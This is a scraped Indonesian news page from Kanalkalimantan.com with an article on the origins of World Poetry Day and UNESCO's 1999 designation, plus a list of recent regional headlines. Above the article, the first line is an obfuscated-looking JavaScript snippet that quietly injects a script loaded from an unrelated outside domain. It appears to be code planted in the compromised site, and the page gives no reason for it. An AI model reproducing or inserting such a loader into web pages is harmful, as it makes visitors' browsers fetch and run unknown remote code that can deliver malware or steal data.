(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Infografis Kanalkalimantan

Hari Puisi Sedunia, Begini Sejarahnya hingga Diperingati Tiap Tanggal 21 Maret


KANALKALIMANTAN.COM, BANJARBARU– Tanggal 21 Maret diperingati sebagai Hari Puisi Sedunia. Hari Puisi Sedunia dirayakan untuk memperingati puisi sebagai karya sastra yang mengekspresikan nilai-nilai humanisme sepanjang sejarah.

Lantas, seperti apa awal mula adanya Hari Puisi Sedunia ini? Sebagaimana diketahui, puisi adalah hal yang kerap hadir di setiap budaya di berbagai belahan dunia selama sepanjang sejarah.

Dalam National Today, puisi adalah karya sastra yang dianggap tua. Kemunculan puisi sendiri sudah ada sejak 2000 SM dengan Epik Gilgamesh.

Epik Gilgamesh, atau Wiracarita Gilgamesh adalah sebuah puisi epik dari Mesopotamia kuno. Ini dianggap sebagai karya sastra signifikan terawal dan teks keagamaan tertua kedua yang selamat setelah Teks Piramida.

 

Baca juga  : Sambut Hari Jadi Kapuas, Ini Harapan Ketua DPRD Ardiansah

Melalui hal ini, kemungkinan keberadaan puisi sudah hadir bahkan sebelum penyebaran literasi. Berbagai jenis puisi memiliki tren yang berbeda dan mengalami transformasi.

Dari soneta hingga lirik rap, tujuan inti puisi tetap sama, yakni untuk mengeksplorasi kondisi manusia dan membangkitkan emosi melalui kata-kata.
Puisi bergema dengan dilema eksistensial umat manusia dan membawa nilai-nilai humanisme yang ada.

Oleh karenanya, puisi merupakan salah satu hal sederhana untuk menjadi katalis bagi dialog dan perdamaian di dunia.

Dalam laman UNESCO, Hari Puisi Sedunia berawal dari Konferensi Umum ke-30 di Paris pada tahun 1999.

 

Baca juga  : Warganet Sebut Minyak Goreng Tumpah 2,5 Ton di Kaltim, Begini Penjelasan Polisi

Saat itu, hari tersebut ditetapkan dengan tujuan untuk mendukung keragaman bahasa dalam bentuk puisi. Pada kesempatan ini pula, bahasa yang terancam punah memiliki kesempatan untuk didengar.

Selain itu, Hari Puisi Sedunia ada untuk memberi penghormatan pada para penyair dan mendorong tradisi lisan.

Tak cuma itu, dalam perayaannya didukung pula penyatuan puisi dengan berbagai bentuk seni lainnya, seperti musik, drama, tari, lukisan, dan lain-lain. (Kanalkalimantan.com/berbagai sumber)

Editor : cell


Desy Arfianty

Recent Posts

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

3 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

4 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

4 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

4 jam ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

5 jam ago

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

5 jam ago

This website uses cookies.